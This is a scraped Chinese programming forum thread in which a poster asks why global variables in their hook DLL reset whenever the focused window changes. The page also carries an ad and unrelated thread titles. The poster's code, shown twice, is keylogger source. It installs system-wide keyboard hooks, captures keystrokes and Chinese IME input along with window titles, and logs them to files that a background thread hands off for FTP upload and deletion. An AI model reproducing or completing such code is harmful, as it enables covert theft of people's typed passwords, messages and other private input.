在线求教关于钩子DLL的问题 我写了一个钩子的动态库,里面有一些全局变量,钩子每次执行的时候,这些全局变量就会全部初始化一次。之前的值都会被清空,这是为什么 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 公司不能上GOOGLE百度都不能,只能上有限的几个网站 DLL的全局变量,在一个进程中的内存中只有一份拷贝。 #pragma data_seg(".data") extern HHOOK KBhookCn; //钩子句柄 extern HHOOK KBhookEn; extern HINSTANCE hdll_lib; extern HWND g_hLastFocus; static bool isKeydown=false; //键盘是否按下标志,用来避免输入法消息多次被截获,造成记录重复问题 const int MAX_INFO_SIZE = 256; //字符串最大长度 unsigned nKeyRecordThreadID; //键盘记录线程ID HANDLE hStartEvent; // thread start event HANDLE hKeyRecordThread; //键盘记录线程句柄 unsigned nFTPthreadID; // HANDLE hFTPThread; // CFTP ftp; //FTP对象 //CLogFile logFile; //FILE* out; //文件指针 //CString filePath="c:\\"; //CString logFileName;//保存文件名 CString FullRecorderFileName = ""; CRITICAL_SECTION csFilename; FILE_NAME_QUEUE FileQueue; CRITICAL_SECTION QueueCriticalSection; //事件句柄,用于通知FTP上传的 HANDLE FtpEvent; #pragma data_seg() #pragma comment(linker,"/Section:.inidata,RWS")这个是DLL中的全局变量,钩子的句柄和DLL句柄我直接放到了DLLMAIN.CPP里面,也是用了共享节写的。现在的问题就是里面的FullRecorderFileName这个参数没切换一个窗口这个值就重新初始化一次。搞的我现在很是郁闷 //函数声明 extern "C" __declspec(dllexport) void SetKBHookCn(void); extern "C" __declspec(dllexport) void RemoveKBHook(void); LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam);//支持中文的键盘钩子回调函数 LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam); static unsigned __stdcall RecordCnKey(void *param);// void IniEnvirenment();// void endDLL(); unsigned __stdcall FTPAndDelete(void *param); void CreateRecordFileName();//生成文件名 void WriteStr(const CString strData);//写入到文件 /*---------------------------键盘钩子设置函数[支持中文]-----------------------------------*/extern "C" __declspec(dllexport) void SetKBHookCn(void){ if(KBhookCn==NULL) { KBhookCn = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)KBhookCn_deal,hdll_lib,0);//设置全局钩子 } if(KBhookEn==NULL) { KBhookEn = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KBhook_deal,hdll_lib,0);//设置全局钩子 } }/*---------------------------键盘钩子卸载函数-----------------------------------*/extern "C" __declspec(dllexport) void RemoveKBHook(void){ if(KBhookCn) { UnhookWindowsHookEx(KBhookCn); //卸载钩子 } if(KBhookEn) { UnhookWindowsHookEx(KBhookEn); //卸载钩子 } }//消息结构体,记录截获到的中文信息及当前窗口句柄typedef struct _recordInfo{ char lpstr[MAX_INFO_SIZE]; //获取中文输入信息 //char svTitle[MAX_INFO_SIZE]; HWND hFocus; //当前窗口句柄 } RecordInfo,*PRecordInfo;这个是下面的代码。 LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam){ LRESULT lResult = CallNextHookEx(KBhookEn,nCode,wParam,lParam); isKeydown=true; return 0;}//键盘钩子回调函数定义LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam){ HIMC hIMC; HWND hWnd; /*char *pCNString;*/ LRESULT lResult = CallNextHookEx(KBhookCn, nCode, wParam, lParam); PMSG pmsg = (PMSG)lParam; hWnd=pmsg->hwnd; if(nCode != HC_ACTION) return 0; /* this code from ZWELL 获得输入法处理后的字符串 */ if(pmsg->message==WM_IME_COMPOSITION) { if(isKeydown) { DWORD dwSize; //char* lpstr=new char[MAX_INFO_SIZE];//动态申请存储中文字符的空间 PRecordInfo pRecordInfo=new RecordInfo; // MessageBox(NULL,"","",MB_OKCANCEL); if(pmsg->lParam & GCS_RESULTSTR) { // MessageBox(NULL,"1","1",MB_OKCANCEL); //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); if(!hIMC) return 0; // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(pRecordInfo->lpstr, 0, sizeof(pRecordInfo->lpstr)); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, pRecordInfo->lpstr, dwSize); //现在lpstr里面即是输入的汉字了。可以处理lpstr,当然也可以保存为文件... //获取当前窗口句柄 //MessageBox(NULL,pRecordInfo->lpstr,pRecordInfo->lpstr,MB_OKCANCEL); HWND hFocus=GetActiveWindow(); pRecordInfo->hFocus=hFocus; //pRecordInfo->svTitle=svTitle; if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg { //PostThreadMessage(nKeyRecordThreadID,MY_MSG,(WPARAM)pRecordInfo,0); delete[] pRecordInfo; } ImmReleaseContext(hWnd, hIMC); isKeydown = false;// MessageBox(NULL,FullRecorderFileName,"WM_IME_COMPOSITION",0); } } } /* code from ZWELL end */ if(pmsg->message==WM_CHAR||pmsg->message==WM_KEYDOWN) { if(isKeydown) { if(pmsg->message==WM_KEYDOWN){ unsigned char ch=(unsigned char)(pmsg->wParam); if((ch>=0x21&&ch<=0x28)||(ch>=0x70&&ch<=0x7b)||ch==0x2d||ch==0x2e||ch==0x5b); else return 0; } // WM_CHAR对应可显示字符键的消息,WM_KEYDOWN对应控制键消息 if(ImmIsIME(GetKeyboardLayout(0))){ //判断中文输入法 if((unsigned char)(pmsg->wParam)>0x7F){ //MessageBox(NULL,"quit","char",MB_OK); return 0; } } /*strncpy(pCNString,(char *)&(pmsg->wParam),1);*/ lParam=pmsg->lParam;//扫描吗 wParam=pmsg->wParam;//虚拟码 //char str[20]={0}; PRecordInfo pRecordInfo=new RecordInfo; sprintf(pRecordInfo->lpstr,"%c",(unsigned char)pmsg->wParam); //获取当前窗口焦点 HWND hFocus=GetActiveWindow(); pRecordInfo->hFocus=hFocus; //while(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0)); if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg { delete[] pRecordInfo; } isKeydown=false;// MessageBox(NULL,FullRecorderFileName,"WM_CHAR",0); } } return lResult;}//负责启动系统所需线程,并进行DLL中初始化方面的工作void IniEnvirenment(){ hKeyRecordThread = (HANDLE)_beginthreadex( NULL, 0, &RecordCnKey, &FullRecorderFileName, 0, &nKeyRecordThreadID ); if(hKeyRecordThread == 0) { CloseHandle(hStartEvent); return ; } hFTPThread = (HANDLE) _beginthreadex(NULL,0,&FTPAndDelete,NULL,0,&nFTPthreadID); InitializeCriticalSection(&csFilename);//QueueCriticalSection InitializeCriticalSection(&QueueCriticalSection); //创建FTP事件句柄 FtpEvent = CreateEvent(NULL,true,false,NULL); if (!AfxSocketInit()) { //AfxMessageBox(IDP_SOCKETS_INIT_FAILED); return; } //TRACE(filename); //CRecorder::GetRecorder();}static unsigned __stdcall RecordCnKey(void *param){ MSG msg; PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE); while(true) { if(GetMessage(&msg,0,0,0)) //get msg from message queue { switch(msg.message) { case WM_KEYHOOK_CN: PRecordInfo pInfo = (PRecordInfo)msg.wParam; //此处判断若窗口已改变,则将上一窗口记录的文件名发送到FTP线程,由FTP线程负责上传及删除, //发送完毕后,此处重新生成新窗口的记录文件名,将窗口名称及记录 信息写入到新窗口文件中。 //若窗口未改变,则直接在原窗口文件后面追加记录信息 if(g_hLastFocus!=pInfo->hFocus) { MessageBox(0,FullRecorderFileName,"100",0); if(!FullRecorderFileName.IsEmpty()) { MessageBox(0,FullRecorderFileName,"111",0); char * tmpFilename =new char[MAX_PATH]; memset(tmpFilename,0,MAX_PATH); memcpy(tmpFilename,FullRecorderFileName,FullRecorderFileName.GetLength()); if(!PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg { PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0); } } //if(!FileQueue.empty()) //{ // SetEvent(FtpEvent); //} //else //{ // MessageBox(NULL,"队列为空","111",0); //} CreateRecordFileName(); char svTitle[256]; int nCount; nCount=GetWindowText(pInfo->hFocus,svTitle,256); if(nCount>0) { CString tmpstr; tmpstr.Format("[%s]\r\n",svTitle); WriteStr(tmpstr); } g_hLastFocus=pInfo->hFocus; } WriteStr(pInfo->lpstr); delete pInfo; break; } } } return 0;} VISTA/WIN7系统下读写注册表的问题 如何编程实现,一个进程(或服务)在崩溃或被任务管理器杀掉的时候,自动重启? CListCtrl 的问题 对话框资源问题 装机器时,谁遇过这种情况?急急急!在线等! http如何用SSL 视图不显示的内容,移动滚动条后显示不正常 ADO编程wt1 串口数据传输 如何编写这样的一个软件。 CStringArray和CDWordArray使用RemoveAt()时候需不需要释放内存? 关于MFC钩子的调用
extern HHOOK KBhookCn; //钩子句柄
extern HHOOK KBhookEn;
extern HINSTANCE hdll_lib;
extern HWND g_hLastFocus;
static bool isKeydown=false; //键盘是否按下标志,用来避免输入法消息多次被截获,造成记录重复问题
const int MAX_INFO_SIZE = 256; //字符串最大长度
unsigned nKeyRecordThreadID; //键盘记录线程ID
HANDLE hStartEvent; // thread start event
HANDLE hKeyRecordThread; //键盘记录线程句柄
unsigned nFTPthreadID; //
HANDLE hFTPThread; //
CFTP ftp; //FTP对象
//CLogFile logFile; //FILE* out; //文件指针
//CString filePath="c:\\";
//CString logFileName;//保存文件名
CString FullRecorderFileName = ""; CRITICAL_SECTION csFilename; FILE_NAME_QUEUE FileQueue;
CRITICAL_SECTION QueueCriticalSection;
//事件句柄,用于通知FTP上传的
HANDLE FtpEvent;
#pragma data_seg()
#pragma comment(linker,"/Section:.inidata,RWS")
这个是DLL中的全局变量,钩子的句柄和DLL句柄我直接放到了DLLMAIN.CPP里面,也是用了共享节写的。
现在的问题就是里面的FullRecorderFileName这个参数没切换一个窗口这个值就重新初始化一次。
搞的我现在很是郁闷
extern "C" __declspec(dllexport) void SetKBHookCn(void);
extern "C" __declspec(dllexport) void RemoveKBHook(void);
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam);//支持中文的键盘钩子回调函数
LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam);
static unsigned __stdcall RecordCnKey(void *param);
// void IniEnvirenment();
// void endDLL();
unsigned __stdcall FTPAndDelete(void *param);
void CreateRecordFileName();//生成文件名
void WriteStr(const CString strData);//写入到文件 /*---------------------------键盘钩子设置函数[支持中文]-----------------------------------*/
extern "C" __declspec(dllexport) void SetKBHookCn(void)
{
if(KBhookCn==NULL)
{
KBhookCn = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)KBhookCn_deal,hdll_lib,0);//设置全局钩子
}
if(KBhookEn==NULL)
{
KBhookEn = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KBhook_deal,hdll_lib,0);//设置全局钩子
} }/*---------------------------键盘钩子卸载函数-----------------------------------*/
extern "C" __declspec(dllexport) void RemoveKBHook(void)
{
if(KBhookCn)
{
UnhookWindowsHookEx(KBhookCn); //卸载钩子
}
if(KBhookEn)
{
UnhookWindowsHookEx(KBhookEn); //卸载钩子
}
}//消息结构体,记录截获到的中文信息及当前窗口句柄
typedef struct _recordInfo
{
char lpstr[MAX_INFO_SIZE]; //获取中文输入信息
//char svTitle[MAX_INFO_SIZE];
HWND hFocus; //当前窗口句柄
} RecordInfo,*PRecordInfo;这个是下面的代码。
LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(KBhookEn,nCode,wParam,lParam);
isKeydown=true;
return 0;
}//键盘钩子回调函数定义
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam)
{
HIMC hIMC;
HWND hWnd;
/*char *pCNString;*/
LRESULT lResult = CallNextHookEx(KBhookCn, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
hWnd=pmsg->hwnd;
if(nCode != HC_ACTION) return 0;
/* this code from ZWELL 获得输入法处理后的字符串 */
if(pmsg->message==WM_IME_COMPOSITION)
{
if(isKeydown)
{
DWORD dwSize;
//char* lpstr=new char[MAX_INFO_SIZE];//动态申请存储中文字符的空间
PRecordInfo pRecordInfo=new RecordInfo;
// MessageBox(NULL,"","",MB_OKCANCEL);
if(pmsg->lParam & GCS_RESULTSTR)
{
// MessageBox(NULL,"1","1",MB_OKCANCEL);
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if(!hIMC) return 0;
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(pRecordInfo->lpstr, 0, sizeof(pRecordInfo->lpstr));
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, pRecordInfo->lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。可以处理lpstr,当然也可以保存为文件...
//获取当前窗口句柄
//MessageBox(NULL,pRecordInfo->lpstr,pRecordInfo->lpstr,MB_OKCANCEL);
HWND hFocus=GetActiveWindow();
pRecordInfo->hFocus=hFocus;
//pRecordInfo->svTitle=svTitle;
if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg
{
//PostThreadMessage(nKeyRecordThreadID,MY_MSG,(WPARAM)pRecordInfo,0);
delete[] pRecordInfo;
}
ImmReleaseContext(hWnd, hIMC);
isKeydown = false;
// MessageBox(NULL,FullRecorderFileName,"WM_IME_COMPOSITION",0);
}
}
}
/* code from ZWELL end */
if(pmsg->message==WM_CHAR||pmsg->message==WM_KEYDOWN)
{
if(isKeydown)
{
if(pmsg->message==WM_KEYDOWN){
unsigned char ch=(unsigned char)(pmsg->wParam);
if((ch>=0x21&&ch<=0x28)||(ch>=0x70&&ch<=0x7b)||ch==0x2d||ch==0x2e||ch==0x5b);
else return 0;
}
// WM_CHAR对应可显示字符键的消息,WM_KEYDOWN对应控制键消息 if(ImmIsIME(GetKeyboardLayout(0))){ //判断中文输入法
if((unsigned char)(pmsg->wParam)>0x7F){
//MessageBox(NULL,"quit","char",MB_OK);
return 0;
}
}
/*strncpy(pCNString,(char *)&(pmsg->wParam),1);*/ lParam=pmsg->lParam;//扫描吗
wParam=pmsg->wParam;//虚拟码
//char str[20]={0};
PRecordInfo pRecordInfo=new RecordInfo;
sprintf(pRecordInfo->lpstr,"%c",(unsigned char)pmsg->wParam); //获取当前窗口焦点
HWND hFocus=GetActiveWindow();
pRecordInfo->hFocus=hFocus;
//while(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0));
if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg
{
delete[] pRecordInfo;
}
isKeydown=false;
// MessageBox(NULL,FullRecorderFileName,"WM_CHAR",0);
}
}
return lResult;
}//负责启动系统所需线程,并进行DLL中初始化方面的工作
void IniEnvirenment()
{
hKeyRecordThread = (HANDLE)_beginthreadex( NULL, 0, &RecordCnKey, &FullRecorderFileName, 0, &nKeyRecordThreadID ); if(hKeyRecordThread == 0)
{
CloseHandle(hStartEvent);
return ;
}
hFTPThread = (HANDLE) _beginthreadex(NULL,0,&FTPAndDelete,NULL,0,&nFTPthreadID);
InitializeCriticalSection(&csFilename);//QueueCriticalSection
InitializeCriticalSection(&QueueCriticalSection);
//创建FTP事件句柄
FtpEvent = CreateEvent(NULL,true,false,NULL);
if (!AfxSocketInit())
{
//AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
return;
}
//TRACE(filename);
//CRecorder::GetRecorder();
}static unsigned __stdcall RecordCnKey(void *param)
{
MSG msg;
PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);
while(true)
{
if(GetMessage(&msg,0,0,0)) //get msg from message queue
{
switch(msg.message)
{
case WM_KEYHOOK_CN:
PRecordInfo pInfo = (PRecordInfo)msg.wParam;
//此处判断若窗口已改变,则将上一窗口记录的文件名发送到FTP线程,由FTP线程负责上传及删除,
//发送完毕后,此处重新生成新窗口的记录文件名,将窗口名称及记录 信息写入到新窗口文件中。
//若窗口未改变,则直接在原窗口文件后面追加记录信息
if(g_hLastFocus!=pInfo->hFocus)
{
MessageBox(0,FullRecorderFileName,"100",0);
if(!FullRecorderFileName.IsEmpty())
{
MessageBox(0,FullRecorderFileName,"111",0);
char * tmpFilename =new char[MAX_PATH];
memset(tmpFilename,0,MAX_PATH);
memcpy(tmpFilename,FullRecorderFileName,FullRecorderFileName.GetLength());
if(!PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg
{
PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0);
}
} //if(!FileQueue.empty())
//{
// SetEvent(FtpEvent);
//}
//else
//{
// MessageBox(NULL,"队列为空","111",0);
//} CreateRecordFileName(); char svTitle[256];
int nCount;
nCount=GetWindowText(pInfo->hFocus,svTitle,256);
if(nCount>0)
{
CString tmpstr;
tmpstr.Format("[%s]\r\n",svTitle);
WriteStr(tmpstr);
}
g_hLastFocus=pInfo->hFocus;
}
WriteStr(pInfo->lpstr);
delete pInfo;
break;
}
}
}
return 0;
}